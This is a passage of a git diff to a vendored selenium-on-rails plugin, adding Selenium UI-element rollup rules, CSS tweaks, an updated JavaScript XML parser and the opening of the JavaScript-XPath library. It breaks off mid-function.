+                // here; we're just using UISpecifier to parse the args out
+                var uiSpecifier = new UISpecifier(command.target);
+                args.subtopic = uiSpecifier.args.subtopic;
+                return args;
+            }
+        }
+    ]
+    , getExpandedCommands: function(args) {
+        var commands = [];
+        var topic = subtopics[args.subtopic];
+        var subtopic = args.subtopic;
+        commands.push({
+            command: 'clickAndWait'
+            , target: 'ui=allPages::section(section=topics)'
+        });
+        commands.push({
+            command: 'clickAndWait'
+            , target: 'ui=topicListingPages::topic(topic=' + topic + ')'
+        });
+        commands.push({
+            command: 'clickAndWait'
+            , target: 'ui=subtopicListingPages::subtopic(subtopic=' + subtopic
+                + ')'
+        });
+        commands.push({
+            command: 'verifyLocation'
+            , target: 'regexp:.+/topics/.+/.+'
+        });
+        return commands;
+    }
+});
+
+
+
+myRollupManager.addRollupRule({
+    name: 'replace_click_with_clickAndWait'
+    , description: 'replaces commands where a click was detected with \
+clickAndWait instead'
+    , alternateCommand: 'clickAndWait'
+    , commandMatchers: [
+        {
+            command: 'click'
+            , target: 'ui=subtopicArticleListingPages::article\\(.+'
+        }
+    ]
+    , expandedCommands: []
+});
+
+
+
+myRollupManager.addRollupRule({
+    name: 'navigate_to_subtopic_article'
+    , description: 'navigate to an article listed under a subtopic.'
+    , pre: 'current page contains the section menu (most pages should)'
+    , post: 'navigated to an article page'
+    , args: [
+        {
+            name: 'subtopic'
+            , description: 'the subtopic whose article listing to navigate to'
+            , exampleValues: keys(subtopics)
+        }
+        , {
+            name: 'index'
+            , description: 'the index of the article in the listing'
+            , exampleValues: range(1, 11)
+        }
+    ]
+    , commandMatchers: [
+        {
+            command: 'rollup'
+            , target: 'navigate_to_subtopic_article_listing'
+            , value: 'subtopic\\s*=.+'
+            , updateArgs: function(command, args) {
+                var args1 = parse_kwargs(command.value);
+                args.subtopic = args1.subtopic;
+                return args;
+            }
+        }
+        , {
+            command: 'clickAndWait'
+            , target: 'ui=subtopicArticleListingPages::article\\(.+'
+            , updateArgs: function(command, args) {
+                var uiSpecifier = new UISpecifier(command.target);
+                args.index = uiSpecifier.args.index;
+                return args;
+            }
+        }
+    ]
+    /*
+    // this is pretty much equivalent to the commandMatchers immediately above.
+    // Seems more verbose and less expressive, doesn't it? But sometimes you
+    // might prefer the flexibility of a function.
+    , getRollup: function(commands) {
+        if (commands.length >= 2) {
+            command1 = commands[0];
+            command2 = commands[1];
+            var args1 = parse_kwargs(command1.value);
+            try {
+                var uiSpecifier = new UISpecifier(command2.target
+                    .replace(/^ui=/, ''));
+            }
+            catch (e) {
+                return false;
+            }
+            if (command1.command == 'rollup' &&
+                command1.target == 'navigate_to_subtopic_article_listing' &&
+                args1.subtopic &&
+                command2.command == 'clickAndWait' &&
+                uiSpecifier.pagesetName == 'subtopicArticleListingPages' &&
+                uiSpecifier.elementName == 'article') {
+                var args = {
+                    subtopic: args1.subtopic
+                    , index: uiSpecifier.args.index
+                };
+                return {
+                    command: 'rollup'
+                    , target: this.name
+                    , value: to_kwargs(args)
+                    , replacementIndexes: [ 0, 1 ]
+                };
+            }
+        }
+        return false;
+    }
+    */
+    , getExpandedCommands: function(args) {
+        var commands = [];
+        commands.push({
+            command: 'rollup'
+            , target: 'navigate_to_subtopic_article_listing'
+            , value: to_kwargs({ subtopic: args.subtopic })
+        });
+        var uiSpecifier = new UISpecifier(
+            'subtopicArticleListingPages'
+            , 'article'
+            , { index: args.index });
+        commands.push({
+            command: 'clickAndWait'
+            , target: 'ui=' + uiSpecifier.toString()
+        });
+        commands.push({
+            command: 'verifyLocation'
+            , target: 'regexp:.+/articles/.+'
+        });
+        return commands;
+    }
+});
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/selenium-logo.png b/vendor/plugins/selenium-on-rails/selenium-core/selenium-logo.png
index 1de09290..d8e058d7 100644
Binary files a/vendor/plugins/selenium-on-rails/selenium-core/selenium-logo.png and b/vendor/plugins/selenium-on-rails/selenium-core/selenium-logo.png differ
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/selenium-test.css b/vendor/plugins/selenium-on-rails/selenium-core/selenium-test.css
index d2df763d..c58e0c7d 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/selenium-test.css
+++ b/vendor/plugins/selenium-on-rails/selenium-core/selenium-test.css
@@ -1,43 +1,43 @@
-body, table {
-    font-family: Verdana, Arial, sans-serif;
-    font-size: 12;
-}
-
-table {
-    border-collapse: collapse;
-    border: 1px solid #ccc;
-}
-
-th, td {
-    padding-left: 0.3em;
-    padding-right: 0.3em;
-}
-
-a {
-    text-decoration: none;
-}
-
-.title {
-    font-style: italic;
-}
-
-.selected {
-    background-color: #ffffcc;
-}
-
-.status_done {
-    background-color: #eeffee;
-}
-
-.status_passed {
-    background-color: #ccffcc;
-}
-
-.status_failed {
-    background-color: #ffcccc;
-}
-
-.breakpoint {
-    background-color: #cccccc;
-    border: 1px solid black;
-}
+body, table {
+    font-family: Verdana, Arial, sans-serif;
+    font-size: 12;
+}
+
+table {
+    border-collapse: collapse;
+    border: 1px solid #ccc;
+}
+
+th, td {
+    padding-left: 0.3em;
+    padding-right: 0.3em;
+}
+
+a {
+    text-decoration: none;
+}
+
+.title {
+    font-style: italic;
+}
+
+.selected {
+    background-color: #ffffcc;
+}
+
+.status_done {
+    background-color: #eeffee;
+}
+
+.status_passed {
+    background-color: #ccffcc;
+}
+
+.status_failed {
+    background-color: #ffcccc;
+}
+
+.breakpoint {
+    background-color: #cccccc;
+    border: 1px solid black;
+}
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/selenium.css b/vendor/plugins/selenium-on-rails/selenium-core/selenium.css
index a717934a..9d83cb06 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/selenium.css
+++ b/vendor/plugins/selenium-on-rails/selenium-core/selenium.css
@@ -48,7 +48,11 @@ iframe {
     width: 100%;
     height: 100%;
     background: white;
-    overflow: auto;
+    /*  HBC - this particular property seems to be causing an issue in
+        conjunction with the native Draw() method in Snapsie. I don't really
+        see a visual difference from commenting this out, so I'm going ahead
+        with it.
+    overflow: auto; */
 }
 
 /*---( Style )---*/
@@ -67,6 +71,19 @@ body, html {
     font-size: 90%;
 }
 
+.remoterunner {
+	font-size: 10pt;
+}
+
+.remoterunner fieldset {
+	padding: 0.25em;
+}
+
+.remoterunner button, .remoterunner label {
+	margin-right: 1em;
+}
+
+
 #controlPanel {
     padding: 0.5ex;
     background: #eee;
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/xpath/dom.js b/vendor/plugins/selenium-on-rails/selenium-core/xpath/dom.js
index 85e0ab08..9bcc86d4 100644
--- a/vendor/plugins/selenium-on-rails/selenium-core/xpath/dom.js
+++ b/vendor/plugins/selenium-on-rails/selenium-core/xpath/dom.js
@@ -1,16 +1,10 @@
 // Copyright 2005 Google Inc.
 // All Rights Reserved
 //
+// Author: Steffen Meschkat <mesch@google.com>
+//
 // An XML parse and a minimal DOM implementation that just supportes
 // the subset of the W3C DOM that is used in the XSLT implementation.
-//
-// References: 
-//
-// [DOM] W3C DOM Level 3 Core Specification
-//       <http://www.w3.org/TR/2004/REC-DOM-Level-3-Core-20040407/>.
-//
-// 
-// Author: Steffen Meschkat <mesch@google.com>
 
 // NOTE: The split() method in IE omits empty result strings. This is
 // utterly annoying. So we don't use it here.
@@ -20,69 +14,90 @@
 // the API level. I.e. no entity references are passed through the
 // API. See "Entities and the DOM core", p.12, DOM 2 Core
 // Spec. However, different browsers actually pass very different
-// values at the API.
-//
+// values at the API. See <http://mesch.nyc/test-xml-quote>.
 function xmlResolveEntities(s) {
 
   var parts = stringSplit(s, '&');
 
   var ret = parts[0];
   for (var i = 1; i < parts.length; ++i) {
-    var rp = stringSplit(parts[i], ';');
-    if (rp.length == 1) {
+    var rp = parts[i].indexOf(';');
+    if (rp == -1) {
       // no entity reference: just a & but no ;
       ret += parts[i];
       continue;
     }
-    
+
+    var entityName = parts[i].substring(0, rp);
+    var remainderText = parts[i].substring(rp + 1);
+
     var ch;
-    switch (rp[0]) {
-      case 'lt': 
+    switch (entityName) {
+      case 'lt':
         ch = '<';
         break;
-      case 'gt': 
+      case 'gt':
         ch = '>';
         break;
-      case 'amp': 
+      case 'amp':
         ch = '&';
         break;
-      case 'quot': 
+      case 'quot':
         ch = '"';
         break;
-      case 'apos': 
+      case 'apos':
         ch = '\'';
         break;
-      case 'nbsp': 
+      case 'nbsp':
         ch = String.fromCharCode(160);
         break;
       default:
         // Cool trick: let the DOM do the entity decoding. We assign
         // the entity text through non-W3C DOM properties and read it
         // through the W3C DOM. W3C DOM access is specified to resolve
-        // entities. 
-        var span = window.document.createElement('span');
-        span.innerHTML = '&' + rp[0] + '; ';
+        // entities.
+        var span = domCreateElement(window.document, 'span');
+        span.innerHTML = '&' + entityName + '; ';
         ch = span.childNodes[0].nodeValue.charAt(0);
     }
-    ret += ch + rp[1];
+    ret += ch + remainderText;
   }
 
   return ret;
 }
 
+var XML10_TAGNAME_REGEXP = new RegExp('^(' + XML10_NAME + ')');
+var XML10_ATTRIBUTE_REGEXP = new RegExp(XML10_ATTRIBUTE, 'g');
+
+var XML11_TAGNAME_REGEXP = new RegExp('^(' + XML11_NAME + ')');
+var XML11_ATTRIBUTE_REGEXP = new RegExp(XML11_ATTRIBUTE, 'g');
 
 // Parses the given XML string with our custom, JavaScript XML parser. Written
 // by Steffen Meschkat (mesch@google.com).
 function xmlParse(xml) {
-  Timer.start('xmlparse');
   var regex_empty = /\/$/;
 
-  // See also <http://www.w3.org/TR/REC-xml/#sec-common-syn> for
-  // allowed chars in a tag and attribute name. TODO(mesch): the
-  // following is still not completely correct.
-
-  var regex_tagname = /^([\w:-]*)/;
-  var regex_attribute = /([\w:-]+)\s?=\s?('([^\']*)'|"([^\"]*)")/g;
+  var regex_tagname;
+  var regex_attribute;
+  if (xml.match(/^<\?xml/)) {
+    // When an XML document begins with an XML declaration
+    // VersionInfo must appear.
+    if (xml.search(new RegExp(XML10_VERSION_INFO)) == 5) {
+      regex_tagname = XML10_TAGNAME_REGEXP;
+      regex_attribute = XML10_ATTRIBUTE_REGEXP;
+    } else if (xml.search(new RegExp(XML11_VERSION_INFO)) == 5) {
+      regex_tagname = XML11_TAGNAME_REGEXP;
+      regex_attribute = XML11_ATTRIBUTE_REGEXP;
+    } else {
+      // VersionInfo is missing, or unknown version number.
+      // TODO : Fallback to XML 1.0 or XML 1.1, or just return null?
+      alert('VersionInfo is missing, or unknown version number.');
+    }
+  } else {
+    // When an XML declaration is missing it's an XML 1.0 document.
+    regex_tagname = XML10_TAGNAME_REGEXP;
+    regex_attribute = XML10_ATTRIBUTE_REGEXP;
+  }
 
   var xmldoc = new XDocument();
   var root = xmldoc;
@@ -100,13 +115,67 @@ function xmlParse(xml) {
   var parent = root;
   stack.push(parent);
 
+  // The token that delimits a section that contains markup as
+  // content: CDATA or comments.
+  var slurp = '';
+
   var x = stringSplit(xml, '<');
   for (var i = 1; i < x.length; ++i) {
     var xx = stringSplit(x[i], '>');
     var tag = xx[0];
     var text = xmlResolveEntities(xx[1] || '');
 
-    if (tag.charAt(0) == '/') {
+    if (slurp) {
+      // In a "slurp" section (CDATA or comment): only check for the
+      // end of the section, otherwise append the whole text.
+      var end = x[i].indexOf(slurp);
+      if (end != -1) {
+        var data = x[i].substring(0, end);
+        parent.nodeValue += '<' + data;
+        stack.pop();
+        parent = stack[stack.length-1];
+        text = x[i].substring(end + slurp.length);
+        slurp = '';
+      } else {
+        parent.nodeValue += '<' + x[i];
+        text = null;
+      }
+
+    } else if (tag.indexOf('![CDATA[') == 0) {
+      var start = '![CDATA['.length;
+      var end = x[i].indexOf(']]>');
+      if (end != -1) {
+        var data = x[i].substring(start, end);
+        var node = domCreateCDATASection(xmldoc, data);
+        domAppendChild(parent, node);
+      } else {
+        var data = x[i].substring(start);
+        text = null;
+        var node = domCreateCDATASection(xmldoc, data);
+        domAppendChild(parent, node);
+        parent = node;
+        stack.push(node);
+        slurp = ']]>';
+      }
+
+    } else if (tag.indexOf('!--') == 0) {
+      var start = '!--'.length;
+      var end = x[i].indexOf('-->');
+      if (end != -1) {
+        var data = x[i].substring(start, end);
+        var node = domCreateComment(xmldoc, data);
+        domAppendChild(parent, node);
+      } else {
+        var data = x[i].substring(start);
+        text = null;
+        var node = domCreateComment(xmldoc, data);
+        domAppendChild(parent, node);
+        parent = node;
+        stack.push(node);
+        slurp = '-->';
+      }
+
+    } else if (tag.charAt(0) == '/') {
       stack.pop();
       parent = stack[stack.length-1];
 
@@ -117,43 +186,87 @@ function xmlParse(xml) {
     } else {
       var empty = tag.match(regex_empty);
       var tagname = regex_tagname.exec(tag)[1];
-      var node = xmldoc.createElement(tagname);
+      var node = domCreateElement(xmldoc, tagname);
 
       var att;
       while (att = regex_attribute.exec(tag)) {
-        var val = xmlResolveEntities(att[3] || att[4] || '');
-        node.setAttribute(att[1], val);
+        var val = xmlResolveEntities(att[5] || att[7] || '');
+        domSetAttribute(node, att[1], val);
       }
-      
-      if (empty) {
-        parent.appendChild(node);
-      } else {
-        parent.appendChild(node);
+
+      domAppendChild(parent, node);
+      if (!empty) {
         parent = node;
         stack.push(node);
       }
     }
 
     if (text && parent != root) {
-      parent.appendChild(xmldoc.createTextNode(text));
+      domAppendChild(parent, domCreateTextNode(xmldoc, text));
     }
   }
 
-  Timer.end('xmlparse');
   return root;
 }
 
+// Based on <http://www.w3.org/TR/2000/REC-DOM-Level-2-Core-20001113/
+// core.html#ID-1950641247>
+var DOM_ELEMENT_NODE = 1;
+var DOM_ATTRIBUTE_NODE = 2;
+var DOM_TEXT_NODE = 3;
+var DOM_CDATA_SECTION_NODE = 4;
+var DOM_ENTITY_REFERENCE_NODE = 5;
+var DOM_ENTITY_NODE = 6;
+var DOM_PROCESSING_INSTRUCTION_NODE = 7;
+var DOM_COMMENT_NODE = 8;
+var DOM_DOCUMENT_NODE = 9;
+var DOM_DOCUMENT_TYPE_NODE = 10;
+var DOM_DOCUMENT_FRAGMENT_NODE = 11;
+var DOM_NOTATION_NODE = 12;
+
+// Traverses the element nodes in the DOM section underneath the given
+// node and invokes the given callbacks as methods on every element
+// node encountered. Function opt_pre is invoked before a node's
+// children are traversed; opt_post is invoked after they are
+// traversed. Traversal will not be continued if a callback function
+// returns boolean false. NOTE(mesch): copied from
+// <//google3/maps/webmaps/javascript/dom.js>.
+function domTraverseElements(node, opt_pre, opt_post) {
+  var ret;
+  if (opt_pre) {
+    ret = opt_pre.call(null, node);
+    if (typeof ret == 'boolean' && !ret) {
+      return false;
+    }
+  }
+
+  for (var c = node.firstChild; c; c = c.nextSibling) {
+    if (c.nodeType == DOM_ELEMENT_NODE) {
+      ret = arguments.callee.call(this, c, opt_pre, opt_post);
+      if (typeof ret == 'boolean' && !ret) {
+        return false;
+      }
+    }
+  }
+
+  if (opt_post) {
+    ret = opt_post.call(null, node);
+    if (typeof ret == 'boolean' && !ret) {
+      return false;
+    }
+  }
+}
 
 // Our W3C DOM Node implementation. Note we call it XNode because we
 // can't define the identifier Node. We do this mostly for Opera,
 // where we can't reuse the HTML DOM for parsing our own XML, and for
 // Safari, where it is too expensive to have the template processor
 // operate on native DOM nodes.
-function XNode(type, name, value, owner) {
+function XNode(type, name, opt_value, opt_owner) {
   this.attributes = [];
   this.childNodes = [];
 
-  XNode.init.call(this, type, name, value, owner);
+  XNode.init.call(this, type, name, opt_value, opt_owner);
 }
 
 // Don't call as method, use apply() or call().
@@ -242,18 +355,18 @@ XNode.prototype.replaceChild = function(newNode, oldNode) {
   for (var i = 0; i < this.childNodes.length; ++i) {
     if (this.childNodes[i] == oldNode) {
       this.childNodes[i] = newNode;
-      
+
       var p = oldNode.parentNode;
       oldNode.parentNode = null;
       newNode.parentNode = p;
-      
+
       p = oldNode.previousSibling;
       oldNode.previousSibling = null;
       newNode.previousSibling = p;
       if (newNode.previousSibling) {
         newNode.previousSibling.nextSibling = newNode;
       }
-      
+
       p = oldNode.nextSibling;
       oldNode.nextSibling = null;
       newNode.nextSibling = p;
@@ -274,6 +387,7 @@ XNode.prototype.replaceChild = function(newNode, oldNode) {
   }
 }
 
+
 XNode.prototype.insertBefore = function(newNode, oldNode) {
   if (oldNode == newNode) {
     return;
@@ -300,7 +414,7 @@ XNode.prototype.insertBefore = function(newNode, oldNode) {
       if (newNode.previousSibling) {
         newNode.previousSibling.nextSibling = newNode;
       }
-      
+
       newNode.nextSibling = oldNode;
 
       if (this.firstChild == oldNode) {
@@ -312,6 +426,7 @@ XNode.prototype.insertBefore = function(newNode, oldNode) {
   this.childNodes = newChildren;
 }
 
+
 XNode.prototype.removeChild = function(node) {
   var newChildren = [];
   for (var i = 0; i < this.childNodes.length; ++i) {
@@ -349,7 +464,7 @@ XNode.prototype.setAttribute = function(name, value) {
       return;
     }
   }
-  this.attributes.push(new XNode(DOM_ATTRIBUTE_NODE, name, value));
+  this.attributes.push(XNode.create(DOM_ATTRIBUTE_NODE, name, value, this));
 }
 
 
@@ -362,6 +477,7 @@ XNode.prototype.getAttribute = function(name) {
   return null;
 }
 
+
 XNode.prototype.removeAttribute = function(name) {
   var a = [];
   for (var i = 0; i < this.attributes.length; ++i) {
@@ -373,8 +489,42 @@ XNode.prototype.removeAttribute = function(name) {
 }
 
 
+XNode.prototype.getElementsByTagName = function(name) {
+  var ret = [];
+  var self = this;
+  if ("*" == name) {
+    domTraverseElements(this, function(node) {
+      if (self == node) return;
+      ret.push(node);
+    }, null);
+  } else {
+    domTraverseElements(this, function(node) {
+      if (self == node) return;
+      if (node.nodeName == name) {
+        ret.push(node);
+      }
+    }, null);
+  }
+  return ret;
+}
+
+
+XNode.prototype.getElementById = function(id) {
+  var ret = null;
+  domTraverseElements(this, function(node) {
+    if (node.getAttribute('id') == id) {
+      ret = node;
+      return false;
+    }
+  }, null);
+  return ret;
+}
+
+
 function XDocument() {
-  XNode.call(this, DOM_DOCUMENT_NODE, '#document', null, this);
+  // NOTE(mesch): Acocording to the DOM Spec, ownerDocument of a
+  // document node is null.
+  XNode.call(this, DOM_DOCUMENT_NODE, '#document', null, null);
   this.documentElement = null;
 }
 
@@ -411,18 +561,6 @@ XDocument.prototype.createComment = function(data) {
   return XNode.create(DOM_COMMENT_NODE, '#comment', data, this);
 }
 
-XNode.prototype.getElementsByTagName = function(name, list) {
-  if (!list) {
-    list = [];
-  }
-
-  if (this.nodeName == name) {
-    list.push(this);
-  }
-
-  for (var i = 0; i < this.childNodes.length; ++i) {
-    this.childNodes[i].getElementsByTagName(name, list);
-  }
-
-  return list;
+XDocument.prototype.createCDATASection = function(data) {
+  return XNode.create(DOM_CDATA_SECTION_NODE, '#cdata-section', data, this);
 }
diff --git a/vendor/plugins/selenium-on-rails/selenium-core/xpath/javascript-xpath-0.1.11.js b/vendor/plugins/selenium-on-rails/selenium-core/xpath/javascript-xpath-0.1.11.js
new file mode 100644
index 00000000..cbb10ce4
--- /dev/null
+++ b/vendor/plugins/selenium-on-rails/selenium-core/xpath/javascript-xpath-0.1.11.js
@@ -0,0 +1,2816 @@
+/*  JavaScript-XPath 0.1.11
+ *  (c) 2007 Cybozu Labs, Inc.
+ *
+ *  JavaScript-XPath is freely distributable under the terms of an MIT-style license.
+ *  For details, see the JavaScript-XPath web site: http://coderepos.org/share/wiki/JavaScript-XPath
+ *
+/*--------------------------------------------------------------------------*/
+
+
+
+(function () {
+
+var undefined = void(0);
+
+var defaultConfig = {
+    targetFrame: undefined,
+    exportInstaller: false,
+    useNative: true,
+    useInnerText: true
+};
+
+var config;
+
+if (window.jsxpath) {
+    config = window.jsxpath;
+}
+else {
+    var scriptElms = document.getElementsByTagName('script');
+    var scriptElm = scriptElms[scriptElms.length - 1];
+    var scriptSrc = scriptElm.src;
+    config = {};
+    var scriptSrcMatchResult = scriptSrc.match(/\?(.*)$/);
+    if (scriptSrcMatchResult) {
+        var configStrings = scriptSrcMatchResult[1].split('&');
+        for (var i = 0, l = configStrings.length; i < l; i ++) {
+            var configString = configStrings[i];
+            var configStringSplited = configString.split('=');
+            var configName = configStringSplited[0];
+            var configValue = configStringSplited[1];
+            if (configValue == undefined) {
+                configValue == true;
+            }
+            else if (configValue == 'false' || /^-?\d+$/.test(configValue)) {
+                configValue = eval(configValue);
+            }
+            config[configName] = configValue;
+        }
+    }
+}
+
+for (var n in defaultConfig) {
+    if (!(n in config)) config[n] = defaultConfig[n];
+}
+
+config.hasNative = !!(document.implementation
+                        && document.implementation.hasFeature
+                        && document.implementation.hasFeature("XPath", null));
+
+if (config.hasNative && config.useNative && !config.exportInstaller) {
+    return;
+}
+
+
+
+var BinaryExpr;
+var FilterExpr;
+var FunctionCall;
+var Literal;
+var NameTest;
+var NodeSet;
+var NodeType;
+var NodeUtil;
+var Number;
+var PathExpr;
+var Step;
+var UnaryExpr;
+var UnionExpr;
+var VariableReference;
+
+/*
+ * object: user agent identifier
+ */
+var uai = new function() {
+
+    var ua = navigator.userAgent;
+
+    if (RegExp == undefined) {
+        if (ua.indexOf("Opera") >= 0) {
+            this.opera = true;
+        } else if (ua.indexOf("Netscape") >= 0) {
+            this.netscape = true;
+        } else if (ua.indexOf("Mozilla/") == 0) {
+            this.mozilla = true;
+        } else {
+            this.unknown = true;
+        }
+
+        if (ua.indexOf("Gecko/") >= 0) {
+            this.gecko = true;
+        }
+
+        if (ua.indexOf("Win") >= 0) {
+            this.windows = true;
+        } else if (ua.indexOf("Mac") >= 0) {
+            this.mac = true;
+        } else if (ua.indexOf("Linux") >= 0) {
+            this.linux = true;
+        } else if (ua.indexOf("BSD") >= 0) {
+            this.bsd = true;
+        } else if (ua.indexOf("SunOS") >= 0) {
+            this.sunos = true;
+        }
+    }
+    else {
+
+        /* for Trident/Tasman */
+        /*@cc_on
+        @if (@_jscript)
+            function jscriptVersion() {
+                switch (@_jscript_version) {
+                    case 3.0:  return "4.0";
+                    case 5.0:  return "5.0";
+                    case 5.1:  return "5.01";
+                    case 5.5:  return "5.5";
+                    case 5.6:
+                        if ("XMLHttpRequest" in window) return "7.0";
+                        return "6.0";
+                    case 5.7:
+                        return "7.0";
+                    default:   return true;
+                }
+            }
+            if (@_win16 || @_win32 || @_win64) {
+                this.windows = true;
+                this.trident = jscriptVersion();
+            } else if (@_mac || navigator.platform.indexOf("Mac") >= 0) {
+                // '@_mac' may be 'NaN' even if the platform is Mac,
+                // so we check 'navigator.platform', too.
+                this.mac = true;
+                this.tasman = jscriptVersion();
+            }
+            if (/MSIE (\d+\.\d+)b?;/.test(ua)) {
+                this.ie = RegExp.$1;
+                this['ie' + RegExp.$1.charAt(0)] = true;
+            }
+        @else @*/
+
+        /* for AppleWebKit */
+        if (/AppleWebKit\/(\d+(?:\.\d+)*)/.test(ua)) {
+            this.applewebkit = RegExp.$1;
+            if (RegExp.$1.charAt(0) == 4) {
+                this.applewebkit2 = true;
+            }
+            else {
+                this.applewebkit3 = true;
+            }
+        }
+
+        /* for Gecko */
+        else if (typeof Components == "object" &&
+                 (/Gecko\/(\d{8})/.test(ua) ||
+                  navigator.product == "Gecko" && /^(\d{8})$/.test(navigator.productSub))) {
+            this.gecko = RegExp.$1;
+        }
+
+        /*@end @*/
+
+        if (typeof(opera) == "object" && typeof(opera.version) == "function") {
+            this.opera = opera.version();
+            this['opera' + this.opera[0] + this.opera[2]] = true;
+        } else if (typeof opera == "object"
+                && (/Opera[\/ ](\d+\.\d+)/.test(ua))) {
+            this.opera = RegExp.$1;
+        } else if (this.ie) {
+        } else if (/Safari\/(\d+(?:\.\d+)*)/.test(ua)) {
+            this.safari = RegExp.$1;
+        } else if (/NetFront\/(\d+(?:\.\d+)*)/.test(ua)) {
+            this.netfront = RegExp.$1;
+        } else if (/Konqueror\/(\d+(?:\.\d+)*)/.test(ua)) {
+            this.konqueror = RegExp.$1;
+        } else if (ua.indexOf("(compatible;") < 0
+                && (/^Mozilla\/(\d+\.\d+)/.test(ua))) {
+            this.mozilla = RegExp.$1;
+            if (/\([^(]*rv:(\d+(?:\.\d+)*).*?\)/.test(ua))
+                this.mozillarv = RegExp.$1;
+            if (/Firefox\/(\d+(?:\.\d+)*)/.test(ua)) {
+                this.firefox = RegExp.$1;
+            } else if (/Netscape\d?\/(\d+(?:\.\d+)*)/.test(ua)) {
+                this.netscape = RegExp.$1;
+            }
+        } else {
+            this.unknown = true;
+        }
+
+        if (ua.indexOf("Win 9x 4.90") >= 0) {
+            this.windows = "ME";
+        } else if (/Win(?:dows)? ?(NT ?(\d+\.\d+)?|\d+|ME|Vista|XP)/.test(ua)) {
+            this.windows = RegExp.$1;
+            if (RegExp.$2) {
+                this.winnt = RegExp.$2;
+            } else switch (RegExp.$1) {
+                case "2000":   this.winnt = "5.0";  break;
+                case "XP":     this.winnt = "5.1";  break;
+                case "Vista":  this.winnt = "6.0";  break;
+            }
+        } else if (ua.indexOf("Mac") >= 0) {
+            this.mac = true;
+        } else if (ua.indexOf("Linux") >= 0) {
+            this.linux = true;
+        } else if (/(\w*BSD)/.test(ua)) {
+            this.bsd = RegExp.$1;
+        } else if (ua.indexOf("SunOS") >= 0) {
+            this.sunos = true;
+        }
+    }
+};
+
+
+/**
+ * pseudo class: Lexer
+ */
+var Lexer = function(source) {
+    var proto = Lexer.prototype;
+    var tokens = source.match(proto.regs.token);
+    for (var i = 0, l = tokens.length; i < l; i ++) {
+        if (proto.regs.strip.test(tokens[i])) {
+            tokens.splice(i, 1);
+        }
+    }
+    for (var n in proto) tokens[n] = proto[n];
+    tokens.index = 0;
+    return tokens;
+};
+
+Lexer.prototype.regs = {
+    token: /\$?(?:(?![0-9-])[\w-]+:)?(?![0-9-])[\w-]+|\/\/|\.\.|::|\d+(?:\.\d*)?|\.\d+|"[^"]*"|'[^']*'|[!<>]=|(?![0-9-])[\w-]+:\*|\s+|./g,
+    strip: /^\s/
+};
+
+Lexer.prototype.peek = function(i) {
+    return this[this.index + (i||0)];
+};
+Lexer.prototype.next = function() {
+    return this[this.index++];
+};
+Lexer.prototype.back = function() {
+    this.index--;
+};
+Lexer.prototype.empty = function() {
+    return this.length <= this.index;
+};
+
+
+/**
+ * class: Ctx
+ */
+var Ctx = function(node, position, last) {
+    this.node = node;
+    this.position = position || 1;
+    this.last = last || 1;
+};
+
+
+/**
+ * abstract class: BaseExpr
+ */
+var BaseExpr = function() {};
+
+BaseExpr.prototype.number = function(ctx) {
+    var exrs = this.evaluate(ctx);
+    if (exrs.isNodeSet) return exrs.number();
+    return + exrs;
+};
+
+BaseExpr.prototype.string = function(ctx) {
+    var exrs = this.evaluate(ctx);
+    if (exrs.isNodeSet) return exrs.string();
+    return '' + exrs;
+};
+
+BaseExpr.prototype.bool = function(ctx) {
+    var exrs = this.evaluate(ctx);
+    if (exrs.isNodeSet) return exrs.bool();
+    return !! exrs;
+};
+
+
+/**
+ * abstract class: BaseExprHasPredicates
+ */
+var BaseExprHasPredicates = function() {};
+
+BaseExprHasPredicates.parsePredicates = function(lexer, expr) {
+    while (lexer.peek() == '[') {
+        lexer.next();
+        if (lexer.empty()) {
+            throw Error('missing predicate expr');
+        }
+        var predicate = BinaryExpr.parse(lexer);
+        expr.predicate(predicate);
+        if (lexer.empty()) {
+            throw Error('unclosed predicate expr');
+        }
+        if (lexer.next() != ']') {
+            lexer.back();
+            throw Error('bad token: ' + lexer.next());
+        }
+    }
+};
+
+BaseExprHasPredicates.prototyps = new BaseExpr();
+
+BaseExprHasPredicates.prototype.evaluatePredicates = function(nodeset, start) {
+    var predicates, predicate, nodes, node, nodeset, position, reverse;
+
+    reverse = this.reverse;
+    predicates = this.predicates;
+
+    nodeset.sort();
+
+    for (var i = start || 0, l0 = predicates.length; i < l0; i ++) {
+        predicate = predicates[i];
+
+        var deleteIndexes = [];
+        var nodes = nodeset.list();
+
+        for (var j = 0, l1 = nodes.length; j < l1; j ++) {
+
+            position = reverse ? (l1 - j) : (j + 1);
+            exrs = predicate.evaluate(new Ctx(nodes[j], position, l1));
+
+            switch (typeof exrs) {
+                case 'number':
+                    exrs = (position == exrs);
+                    break;
+                case 'string':
+                    exrs = !!exrs;
+                    break;
+                case 'object':
+                    exrs = exrs.bool();
+                    break;
+            }
+
+            if (!exrs) {
+                deleteIndexes.push(j);
+            }
+        }
+
+        for (var j = deleteIndexes.length - 1, l1 = 0; j >= l1; j --) {
+            nodeset.del(deleteIndexes[j]);
+        }
+
+    }
+
+    return nodeset;
+};
+
+
+/**
+ * class: BinaryExpr
+ */
+if (!window.BinaryExpr && window.defaultConfig)
+    window.BinaryExpr = null;
+
+BinaryExpr = function(op, left, right, datatype) {
+    this.op = op;
+    this.left = left;
+    this.right = right;
+
+    this.datatype = BinaryExpr.ops[op][2];
+
+    this.needContextPosition = left.needContextPosition || right.needContextPosition;
+    this.needContextNode = left.needContextNode || right.needContextNode;
+
+    // Optimize [@id="foo"] and [@name="bar"]
+    if (this.op == '=') {
+        if (!right.needContextNode && !right.needContextPosition && 
+            right.datatype != 'nodeset' && right.datatype != 'void' && left.quickAttr) {
+            this.quickAttr = true;
+            this.attrName = left.attrName;
+            this.attrValueExpr = right;
+        }
+        else if (!left.needContextNode && !left.needContextPosition && 
+            left.datatype != 'nodeset' && left.datatype != 'void' && right.quickAttr) {
+            this.quickAttr = true;
+            this.attrName = right.attrName;
+            this.attrValueExpr = left;
+        }
+    }
+};
+
+BinaryExpr.compare = function(op, comp, left, right, ctx) {
+    var type, lnodes, rnodes, nodes, nodeset, primitive;
+
+    left = left.evaluate(ctx);
+    right = right.evaluate(ctx);
+
+    if (left.isNodeSet && right.isNodeSet) {
+        lnodes = left.list();
+        rnodes = right.list();
+        for (var i = 0, l0 = lnodes.length; i < l0; i ++)
